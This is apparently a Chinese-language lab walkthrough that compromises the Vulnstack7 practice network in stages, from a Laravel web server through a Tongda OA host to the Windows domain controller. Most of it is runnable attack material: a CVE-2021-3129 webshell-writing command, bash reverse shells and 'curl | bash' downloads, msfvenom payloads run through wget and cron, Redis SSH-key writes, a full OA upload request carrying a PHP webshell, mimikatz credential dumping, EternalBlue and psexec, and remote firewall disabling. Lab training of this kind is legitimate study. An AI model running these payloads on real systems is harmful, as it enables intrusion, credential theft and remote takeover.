红日安全ATT&CK靶机实战系列之vulnstack7

声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

边下载着,可以开始vmware的网络配置

这次和前面不太一样了

有三个网段,所以需要我们把网络这块拿捏的死死的

DMZ区
桥接模式(这个IP段不固定,我是31段的)
IP段为192.168.31.1/24

第二层网络环境
NAT模式
IP段为192.168.52.1/24

第三层网络环境
仅主机模块
IP段为192.168.93.1/24

红日安全ATT&CK靶机实战系列之vulnstack7

有了这三个网段,就开始把解压出来的5个虚拟机分别打开,然后配置网络

注意!!!

这里可能会出现虚拟机版本与vmware不兼容的问题,错误信息为

红日安全ATT&CK靶机实战系列之vulnstack7

然后请按照下面的教程,将虚拟机的配置和vmware的配置修改一直即可

https://wenku.baidu.com/view/377f360a5dbfc77da26925c52cc58bd63086930e.html

按照正常步骤,现在5台靶机都已成功开启,然后网络配置如下:

kali:
连接桥接即可

DMZ区域:
给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。

用户名密码

域用户账户和密码如下:
	Administrator:Whoami2021
	whoami:Whoami2021
	bunny:Bunny2021
	moretz:Moretz2021

Ubuntu 1:
	web:web2021

Ubuntu 2:
	ubuntu:ubuntu

通达OA账户(不重要):
admin:admin657260

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

网络拓扑图

红日安全ATT&CK靶机实战系列之vulnstack7

网络配完了,我电脑的内存了满了,这。。。接下来还有好多服务要开呢

红日安全ATT&CK靶机实战系列之vulnstack7

DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):
sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F

第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo su
service docker start
docker start 8e172820ac78

第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
C:\MYOA\bin\AutoConfig.exe

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

我这里已经卡的不行了,把内存都往下压一压吧,改1G的1G,该2G的2G,不然已经内存打满了都

或者渗透wb的时候域控那边的先关了,看情况开开关关

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

环境配置完毕

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

红日安全ATT&CK靶机实战系列之vulnstack7

扫描详细信息

nmap -T4 -A 192.168.31.132 -p 1-65535 -oN nmap.A

22的ssh

80的nginx

81的Laravel

6379的redis

红日安全ATT&CK靶机实战系列之vulnstack7

Shell

访问81

http://192.168.31.132:81

红日安全ATT&CK靶机实战系列之vulnstack7

是个php框架,只要是这种,基本都是利用框架本身的漏洞,上传webshell或者RCE反弹shell

用git大佬的POC脚本试一试看有无漏洞

https://github.com/zhzyker/CVE-2021-3129

laravel的CVE-2021-3129,php反序列化,依赖phpggc,当然上面的链接里面已经包含,所以我们基础环境不要忘了这块,先有了phpggc,然后再github上搜这个CVE编号,就可以直接复制大佬们的脚本了

这个POC用于检测是很适合,里面有十几个用于检测的请求,我就把第二个请求的命令改成了whoami

python3 exp.py http://192.168.31.132:81

红日安全ATT&CK靶机实战系列之vulnstack7

另一位大佬的,可直接执行命令,命令自己修改

https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
python3 cve-2021-3129.py "system('uname -a');"

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

那么我就直接写马了,echo后面的被base64编码了,实际上就是密码是whoami的一句话

python3 cve-2021-3129.py  "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

红日安全ATT&CK靶机实战系列之vulnstack7

访问一下我们的马,只要没显示4040或者not find就对了

http://192.168.31.132:81/shell.php

红日安全ATT&CK靶机实战系列之vulnstack7

蚁剑直接连了,怎么啥命令都没,不用说了,就是在docker里面咯

红日安全ATT&CK靶机实战系列之vulnstack7

权限维持/提升

目前的权限是www,依稀记得上次搞docker逃逸还用的是容器中的root,利用容器操纵实体机修改ssh,进行免密登录

所以我们首先得在容器中进行提权

这里也是用比较常见的提权方式,查找有高权的文件,也就是说这个文件拥有root权限,那么通过这个文件调用的任何命令就都有root权限,那么再修改环境变量,让这个文件调用的命令指向我们写的恶意命令就可以进行权限提升,不太好理解?

举个栗子,我们平时配置配置java环境的时候,需要下载jdk,比如jdk在/app/jdk,配置/etc/profile,将java环境变量执行/app/jdk,那么我们输入java命令,就会去找环境变量是/app/jdk,那么就找到了/app/jdk/bin下的java命令,来进行执行,那我们写一个恶意的/tmp/jdk/bin/java,里面是一个反弹shell的命令,然后再把/tmp/jdk导入到环境变量里面,那么如果我执行了ava,就会执行反弹shell

话不多说,直接来,先找找有没有高权限的文件,发现了一个shell

find / -perm -u=s -type f 2>/dev/null

红日安全ATT&CK靶机实战系列之vulnstack7

也就是说这个shell是以高权限进行执行的,那看一下他的执行结果,看来和ps是差不多的,那么,shell里面大概就是ps

./shell

红日安全ATT&CK靶机实战系列之vulnstack7

这里的ps就可以类比上面的java,我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找到我们的恶意ps,不就可以反弹shell了

在蚁剑的商店中心安装一下脚本执行插件,结果一直在转,算了你自己转吧,哥用其他方法了

红日安全ATT&CK靶机实战系列之vulnstack7

这次用curl反弹,其实道理都差不多,知道原理就都懂

kali监听6666端口

nc -lvvp 6666

红日安全ATT&CK靶机实战系列之vulnstack7

kali上写个shell.sh,再开个Web服务

bash -i >& /dev/tcp/192.168.31.96/6666 0>&1
python -m SimpleHTTPServer 80

红日安全ATT&CK靶机实战系列之vulnstack7

在蚁剑命令行,执行,看能不能看到这个脚本

curl 192.168.31.96/shell.sh

可以看到的话,直接执行

curl 192.168.31.96/shell.sh | bash

红日安全ATT&CK靶机实战系列之vulnstack7

执行后成功反弹shell,那么shell就从蚁剑转到了我们kali

红日安全ATT&CK靶机实战系列之vulnstack7

开始提权,写恶意ps命令,ps内容/bin/bash就是进入命令行,然后修改环境变量,这样shell.sh就找到了tmp下的ps命令,然后以shell的root执行了ps,也就是以root进入了命令行

这个方式vulnhub也经常有吧,叫做环境变量劫持

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

红日安全ATT&CK靶机实战系列之vulnstack7

msf上线

现在需要把这个shell持久化一下,通过msf,生成一个马,还放在刚刚python开启web那个文件里面

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6667 -f elf > shell.elf

然后msf监听

use exploit/multi/handler
set lhost 192.168.31.96
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run

这边通过wget把马下载下来,咦,没有wget?那安装一下吧

红日安全ATT&CK靶机实战系列之vulnstack7

安装完后,下载执行这个马

wget http://192.168.31.96/shell.elf
chmod 777 shell.elf
./shell.elf

红日安全ATT&CK靶机实战系列之vulnstack7

msf收到meterpreter

红日安全ATT&CK靶机实战系列之vulnstack7

docker逃逸(第一次-耻辱了)

接着想办法逃逸出来,还是老办法吧

进入meterpreter的shell,或者刚刚的反弹的shell,创建一个目录,用于挂载

mkdir /weizi

红日安全ATT&CK靶机实战系列之vulnstack7

将/dev/sda1挂载到/weizi目录里

ls /dev
mount /dev/sda1 /weizi
ls /weizi

红日安全ATT&CK靶机实战系列之vulnstack7

看一下隐藏文件

ls /weizi/home
ls -alh /weizi/home/ubuntu

红日安全ATT&CK靶机实战系列之vulnstack7

kali本地生成ssh秘钥

ssh-keygen -f weizi
chmod 600 weizi

红日安全ATT&CK靶机实战系列之vulnstack7

拿到weizi.pub中内容

cat weizi.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaMqbOChZtkEeB8N3ickNQzsT/A+l2sz8nhw7edbLai6BC0uQokE2VSAHL8N0XfU8UaHrPoyq1ywaZ2u82IjHOMeK5bvTxrro52pPYSaVncBCxWjPIWaeH6ub0V/eGgOHIEvnu8BhOMuJBbTWQ/tYFj94j344wI5goR/351H7COn4PC6ilK6p9pC/ECyfEMt4CvuGCgH3GPEXamC53DlruuV7W2W1bny31Jboy4GbzcBt/H1innWVLEoSoTaQ8R227Imre4eRkdXURgfIakzjPmt51/n31oT4CUQsJ6DPMZO1pbQ171xeSH0nxboGbQNZejrOCvWX/761TJgJ0ym2kp4tM5AVc52B1lMrT5DZzoJUVUkXadS0r5sKUAzZNp4SZ7mLpuJeR53YuE+RU0UsPecV0zK08j/SDtsnjnLl0joTMzZIuWgq7KoAJJc5nD1SnZ6e1XRcwpgt6nOKcUgEKIyEe6ThjisbUGYHxc/lAIlchaecelCXFEZlIugq11p0= root@kali

红日安全ATT&CK靶机实战系列之vulnstack7

然后创建一个key.sh,要通过docker修改宿主机的ssh了

vim key.sh

内容如下

cp -avx /weizi/home/ubuntu/.ssh/id_rsa.pub /weizi/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaMqbOChZtkEeB8N3ickNQzsT/A+l2sz8nhw7edbLai6BC0uQokE2VSAHL8N0XfU8UaHrPoyq1ywaZ2u82IjHOMeK5bvTxrro52pPYSaVncBCxWjPIWaeH6ub0V/eGgOHIEvnu8BhOMuJBbTWQ/tYFj94j344wI5goR/351H7COn4PC6ilK6p9pC/ECyfEMt4CvuGCgH3GPEXamC53DlruuV7W2W1bny31Jboy4GbzcBt/H1innWVLEoSoTaQ8R227Imre4eRkdXURgfIakzjPmt51/n31oT4CUQsJ6DPMZO1pbQ171xeSH0nxboGbQNZejrOCvWX/761TJgJ0ym2kp4tM5AVc52B1lMrT5DZzoJUVUkXadS0r5sKUAzZNp4SZ7mLpuJeR53YuE+RU0UsPecV0zK08j/SDtsnjnLl0joTMzZIuWgq7KoAJJc5nD1SnZ6e1XRcwpgt6nOKcUgEKIyEe6ThjisbUGYHxc/lAIlchaecelCXFEZlIugq11p0= root@kali' > /weizi/home/ubuntu/.ssh/authorized_keys
cat /weizi/home/ubuntu/.ssh/authorized_keys

通过meterpreter上传或者通过开启web,wget下载都行随你开心,但就是要在docker上执行这个sh了

红日安全ATT&CK靶机实战系列之vulnstack7

cd /tmp
wget http://192.168.31.96/key.sh
chmod 777 key.sh
./key.sh
ls -alh /weizi/home/ubuntu/.ssh
cat /weizi/home/ubuntu/.ssh/authorized_keys

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

ssh -i weizi ubuntu@192.168.31.132

秀了半天,结果。。。

还是我太菜,上次怎么成功的,这次不行了吗?还是我哪里弄错了,哎(这里-i后面跟的文件本来是weizi,我都以为是我文件名有问题,又生成了一一对hack公私钥对)

红日安全ATT&CK靶机实战系列之vulnstack7

这个失败了,就看看大佬的,反正现在通过挂载,肯定是能操纵宿主机的目录的,那就往宿主机定时任务写个木马

msf生成木马

use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 4445
exploit

红日安全ATT&CK靶机实战系列之vulnstack7

把这个wget马,写入到定时任务

echo '* * * * * wget -qO GYZFuKMl --no-check-certificate http://192.168.31.96:8080/rzAXhrphsPzRb; chmod +x GYZFuKMl; ./GYZFuKMl& disown' >> /weizi/var/spool/cron/crontabs/root
echo '* * * * * wget -qO BOz4CDge --no-check-certificate http://192.168.31.96:8080/9Quic3HA; chmod +x BOz4CDge; ./BOz4CDge& disown' >> /weizi/var/spool/cron/crontabs/root

等了半天也没反应???没辙了,两种方法都没用啊,奇了怪了,彻底懵蛋子了

感觉没啥招了,这时候想到了6379的redis,靠你了,redis未授权

redis未授权

啥也别说了,安装redis-cli工具吧

红日安全ATT&CK靶机实战系列之vulnstack7

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/

红日安全ATT&CK靶机实战系列之vulnstack7

装了10分钟

未授权访问一下,这简直就是失望中看到绝望,绝望中看到希望啊

redis-cli -h 192.168.31.132

红日安全ATT&CK靶机实战系列之vulnstack7

既然有了redis,直接用redis写ssh免密登录,试一下吧

kali生成ssh公钥

ssh-keygen -t redis

将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx

红日安全ATT&CK靶机实战系列之vulnstack7

redis开始表演,进入redis命令行将公钥写入(这里redis要是不用root启,就不行)

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

红日安全ATT&CK靶机实战系列之vulnstack7

直接ssh连接吧,绕了一大圈,原来是这样拿到的第一个shell。。。。。。

ssh 192.168.31.132

红日安全ATT&CK靶机实战系列之vulnstack7

看了一下网段,一个31段,那就是外网段了,还有一个52段,应该就是内网段了

红日安全ATT&CK靶机实战系列之vulnstack7

docker逃逸失败分析

我已经拿到了shell,这个时候,我之前的docker逃逸是怎么失败的,我也确确实实都把ssh公钥写入改变了啊,一看傻眼了

这里/home下怎么是个web,明明是ubuntu的啊

红日安全ATT&CK靶机实战系列之vulnstack7

难道我眼花了,再回头看一下

红日安全ATT&CK靶机实战系列之vulnstack7

这俩不是一台服务器,666,又是个代理,看到这,我大概是明白了

我来解释一下为啥我的docker逃逸失败了

我首先攻击的是192.168.31.132(这台服务器记做A),nmap查看开了22ssh,80nginx,81的Laravel,6379的redis

然后我们往81端口的Laravel上传马,拿到了一个shell,这个shell是docker的(这个记做B1)

然后我当时就一直想,是不是B1的宿主机就是A,然后各种想从B1逃逸到A上,实际上,B1的宿主机是B,B应该还是另外一台内网,我ssh公钥就算改了B的,我连的IP都是A,连毛啊?可不得失败吗,现在看来,这个B很有可能是52段的服务器

也就是说A上的nginx代理到了B中dockerB1,我们拿到了B1!

分析完后,我们先把这个上线msf

msf再次上线

msf先把这个该死的31.132上线

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=3333 -f elf > web.elf
use exploit/multi/handler
set lhost 192.168.31.96
set lport 3333
set payload linux/x86/meterpreter/reverse_tcp
run
wget http://192.168.31.96/web.elf
chmod 777 web.elf
nohup ./web.elf &

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

现在完全控制web服务器192.168.52.10

msf添加路由,扫描存活,我就看看ubuntu你能跑哪去

run autoroute -s 192.168.52.0/24
run autoroute -p

红日安全ATT&CK靶机实战系列之vulnstack7

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.0-255
set threads 5
run

我时运气不好还是咋的了,这都跟我作对,就扫到了一个DNS,逗我呢

红日安全ATT&CK靶机实战系列之vulnstack7

算了直接在web上安装一个nmap,不跟你多BB了

apt-get install arp-scan
apt-get install nmap
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.52.1/24

扫描出了10,20,30

10是自己,那就是20和30

红日安全ATT&CK靶机实战系列之vulnstack7

docker再次逃逸(柳暗花明)

我就跟你刚上了,怎么了?

我现在已经很确定的是,在之前第一次进行docker逃逸的耻辱失败时候,我确确实实把宿主机的ssh修改了,那么现在我拿到了这个192.168.31.132,是不是可以把kali之前生成的hack秘钥文件拿过来,直接连接那个宿主机?

用wget把之前生成的秘钥文件下载下来,连接这两个IP试试

ssh -i hack ubuntu@192.168.52.20
ssh -i hack ubuntu@192.168.52.30

直接拿下20,最终还是没有错付啊

还是被docker逃逸出来了,但是,又看到了一个93网段

红日安全ATT&CK靶机实战系列之vulnstack7

走到这里梳理一下

拿到了web,192.168.31.132;192.168.52.10

拿到了ubuntu,192.168.52.20;192.168.93.10

又发现了52.30这个IP,以及93的网段

不用说咯,接下来刚这个52.30

msf又双叒叕上线

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=4444 -f elf > ubuntu.elf
use exploit/multi/handler
set lhost 192.168.31.96
set lport 4444
set payload linux/x86/meterpreter/reverse_tcp
run

额?这台ubuntu可以ping通kali?

wget http://192.168.31.96/ubuntu.elf
chmod 777 ubuntu.elf
nohup ./ubuntu.elf &

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

内网渗透

信息收集

刚刚都是直接在目标机上装的nmap,都没有代理,在web上传ew,web上挂个代理

upload /app/tools/ew-master/ew_for_linux64 /tmp

红日安全ATT&CK靶机实战系列之vulnstack7

kali执行

nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

web执行

nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &
proxychains nmap -Pn -sT 192.168.52.1/24 > nmap_res.txt

这次用代理扫描,发现30存活,扫扫端口

proxychains4 nmap -Pn -sT -sV 192.168.52.30 -F

端口也扫不出来,然后kali的firefox代理调到了1080端口,访问,神马也没有,奇怪

红日安全ATT&CK靶机实战系列之vulnstack7

用kali访问了半天,也奇怪,根本访问不到192.168.52.30的8080端口,用web和ubuntu两台机器的火狐访问也不同,然后这两台机器ping192.168.52.30这个IP也ping不通,那我大概知道了,OA那边开防火墙了

红日安全ATT&CK靶机实战系列之vulnstack7

这个环境配置的时候得说明一下,这也就是我前面说的防火墙要关闭,心酸在这里,排查了好久呢

红日安全ATT&CK靶机实战系列之vulnstack7

这次kali扫描一下端口,这还是台windows

proxychains4 nmap -Pn -sT -sV 192.168.52.30 -F

红日安全ATT&CK靶机实战系列之vulnstack7

因为8080的OA特别耀眼动人,先来看看8080,将端口代理到本地的1080,这样就转到52网段了

192.168.52.30:8080

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

是很喜庆的OA,近几年,各种OA或者运维终端管理系统未授权,直接RCE层出不穷,所以这个OA,就是我们的目标

掏出我们的红队常用漏洞手册

https://mp.weixin.qq.com/s/_EwkcnZQ-dyvFsDHa8VEKA

试一试名列前茅的几个

红日安全ATT&CK靶机实战系列之vulnstack7

根据小贴士,看看通达OA的版本是11.3

https://github.com/OA-HUNTER/TongDa-OA

掏出kali的BP,咦提示jdk版本,没关系,点OK

红日安全ATT&CK靶机实战系列之vulnstack7

最新版已经更新到了2021.4.2版本了,我们就先不凑热闹了,用2020.12就可以够可以了额

红日安全ATT&CK靶机实战系列之vulnstack7

原来以为启动不起来,谁知道还是启动起来了,感觉对windows的攻击机依赖度越来越低了

红日安全ATT&CK靶机实战系列之vulnstack7

字体调大点

红日安全ATT&CK靶机实战系列之vulnstack7

但是奇怪,浏览器开启HTTP代理后OA就访问不通了,BP能抓到包,但是根本没反应

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

你以为这就能难倒我吗,别忘了我已经拿下了web和ubuntu

那么我可以直接在web或ubuntu上利用python脚本进行攻击。。。

为什么要这么对我web没装python,ubuntu,github上的脚本每一个成功的,思考了好久,burp代理后,为什么不成功,会不会是http代理或者socks代理没有配置对,经过各种心酸(1h的搜索,也是灵机一动才想到的),想到了burp能不能配置socks代理,网上一查,果然能配,都怪自己学识浅薄,接下来把我的整个配置图贴出来吧,由于我kali的8080占用,所以HTTP和Burp的代理都用8081端口,先康康浏览器的代理配置

红日安全ATT&CK靶机实战系列之vulnstack7

再康康Burp的配置,BP分两部分,一部分的就是大家都懂的

红日安全ATT&CK靶机实战系列之vulnstack7

另一个是,相当于也要BP去连1080,代理到52段

红日安全ATT&CK靶机实战系列之vulnstack7

都配置成后

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

那就开始表演了

直接抓包,修改,未授权上传图片马

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

红日安全ATT&CK靶机实战系列之vulnstack7

文件包含我们上传的木马

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 87
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2104/1352016168.jpg"}&cmd=whoami

红日安全ATT&CK靶机实战系列之vulnstack7

接着就是上线我们的msf

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 5555
run

run后会生成psh代码

红日安全ATT&CK靶机实战系列之vulnstack7

把这段代码,当成命令,在BP中执行

红日安全ATT&CK靶机实战系列之vulnstack7

搞了好久才成功,难受啊

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

按照惯例,信息收集一波

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain    // 查看域管理员组

发现93网段

域为whoamianony.org

域控为DC.whoamianony.org,IP为192.168.93.30

域管理员Administrator

横向渗透

迁移到64位进程上,然后抓取密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

成功抓取到域用户bunny和域管理员administrator的凭证:

bunny:Bunny2021
administrator:Whoami2021

接下来该刚第三层也就是93段的服务器了

msf添加路由

route add 192.168.93.0 255.255.255.0 4

红日安全ATT&CK靶机实战系列之vulnstack7

还记得之前我们把52段,通过web服务器代理到了kali上

现在93段也得代理,所以这次是二次代理打入内网

kali首先执行

nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &

红日安全ATT&CK靶机实战系列之vulnstack7

把ew的windows版upload上传到刚刚那台windows上,然后执行代理

start /min ew_for_Win.exe -s ssocksd -l 999

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

然后web那台服务器,要进行中间桥梁

./ew_for_linux64 -s lcx_slave -d 192.168.31.96 -e 1235 -f 192.168.52.30 -g 999

红日安全ATT&CK靶机实战系列之vulnstack7

再把proxychains4文件改成1090

红日安全ATT&CK靶机实战系列之vulnstack7

扫描93段,发现30和40

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run

红日安全ATT&CK靶机实战系列之vulnstack7

开了445,貌似3389也开了哦

proxychains4 nmap -Pn -sT -sV 192.168.93.40

红日安全ATT&CK靶机实战系列之vulnstack7

对40进行惨无人道的永恒之蓝攻击

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 8888
exploit

红日安全ATT&CK靶机实战系列之vulnstack7

执行了半天都是失败,还给打蓝屏了,蓝屏的钙,好喝的钙

红日安全ATT&CK靶机实战系列之vulnstack7

算了睡觉了,明天继续弄它

已经第三天了,起来把每台服务器都msf上线,挂上代理,开始继续,再试试永恒之蓝

嗯,非常好,这次没蓝屏,不过依旧没戏

只想感叹一句,永恒之蓝都是虚拟的,我把握不住啊

红日安全ATT&CK靶机实战系列之vulnstack7

算了,打不过你,我先打你老爸

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

执行失败了,应该是防火墙的问题

我连接进第二层PC1的shell,用用户名密码,关掉30域控的防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

看着都是Failed,但是实际上我登录DC去看了一下,防火墙确实已经关了,这个方法牛逼啊

然后再次搞,拿下域控DC的meterpreter

红日安全ATT&CK靶机实战系列之vulnstack7

session3和4,重复啦,手抖BP多点了一下

红日安全ATT&CK靶机实战系列之vulnstack7

还有最后一台93.40,想试一下远程桌面,反正已经有域用户,直接远程桌面30或者40得了

结果30和40的安全意识都很高,好像都开安全认证服务了

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

还有一线希望,那就是ms14-068

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
ms14-068.exe -u administrator@WHOAMIANONY.com -s S-1-5-21-1315137663-3706837544-1429009142-500 -d 192.168.31.40 -p Whoami2021
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

不多说了,失败告终

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

net use \\192.168.93.40\ipc$ "Whoami2021" /user:"Administrator"

我们是通过建立连接的方式关闭域控的防火墙,那能否通过域控与40建立连接呢?

又失败了,呜呜呜

红日安全ATT&CK靶机实战系列之vulnstack7

cs渗透

我:CS大哥,您帮帮我吧。。。

CS大哥:那你也得先把其中一台域内服务器上线啊

明白了,上线域控

通过派生shell,或者直接msf的meterpreter上传win exec马,都上线不了

我:CS大哥,上不上去啊。。

CS大哥:终点即起点

我想了想,直接上线域控,隔着两层代理,是不是有可能是因为代理的原因,或者其他我这种小白也不太懂的,想到这里,我立马着手上线最初的那台PC1

一击命中

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

CS也看到了

红日安全ATT&CK靶机实战系列之vulnstack7

接下来就是目标发现+密码二连击

net view
hashdump
logonpasswords

经过这两步,我笑出来了

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

接着就是vulnstack1中基础的,利用凭证拿下该死的93.40

红日安全ATT&CK靶机实战系列之vulnstack7

红日安全ATT&CK靶机实战系列之vulnstack7

同样的方式,域控也给我上来

红日安全ATT&CK靶机实战系列之vulnstack7

CS:你大爷还是你大爷

CS对于域控这块拿捏,我是真的服

红日安全ATT&CK靶机实战系列之vulnstack7

上一篇:ATT&CK红队评估实战靶场(一)


下一篇:红日ATT&CK红队评估实战靶场1